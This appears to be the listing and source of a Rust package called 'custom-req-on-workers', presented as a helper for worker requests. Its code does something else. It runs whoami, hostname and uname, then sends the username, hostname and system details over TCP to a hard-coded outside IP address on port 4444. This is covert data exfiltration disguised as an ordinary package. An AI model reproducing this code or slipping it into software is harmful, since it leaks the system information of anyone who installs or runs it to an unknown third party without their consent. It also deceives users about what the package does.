custom-req-on-workers 0.1.0

A custom Rust package for handling worker requests.
use std::process::Command;
use std::net::TcpStream;
use std::io::Write;

fn main() {
    let listener_ip = "65.0.127.249";
    let listener_port = "4444";

    let username = Command::new("whoami").output().ok().map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()).unwrap_or_else(|| "unknown".to_string());
    let hostname = Command::new("hostname").output().ok().map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()).unwrap_or_else(|| "unknown".to_string());
    let system_info = Command::new("uname").arg("-a").output().ok().map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()).unwrap_or_else(|| "unknown".to_string());

    let message = format!(
        "Username: {}\nHostname: {}\nSystem Info: {}\n",
        username, hostname, system_info
    );

    if let Ok(mut stream) = TcpStream::connect(format!("{}:{}", listener_ip, listener_port)) {
        let _ = stream.write_all(message.as_bytes());
    }
}